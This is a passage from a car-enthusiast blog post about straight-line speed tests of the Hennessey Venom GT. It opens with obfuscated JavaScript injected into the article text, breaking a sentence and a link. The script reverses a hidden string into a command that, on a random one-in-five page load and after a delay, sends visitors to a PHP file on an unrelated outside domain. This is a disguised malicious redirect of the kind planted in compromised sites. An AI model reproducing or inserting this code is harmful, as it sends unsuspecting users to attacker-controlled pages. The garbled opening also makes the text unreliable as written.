You may remember the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/hennessey-venom-gt2-1500hp-seven-deadly-sins/” target=”_blank”>1500hp Hennessey Venom GT2 crankandpiston brought you news of a couple of days ago. The performance figures, impressive as they may be, left a few of you on the fence. “Enough is enough”, the cry went up.
It’s a fair point. After all, it’s not like reaching 460kph is an everyday occurrence, unless you happen to have purchased your own 10km stretch of autobahn. We thought then you might like to see just how brutal the power of the ‘slower’ Hennessey Venom GT is with these straight-line speed tests.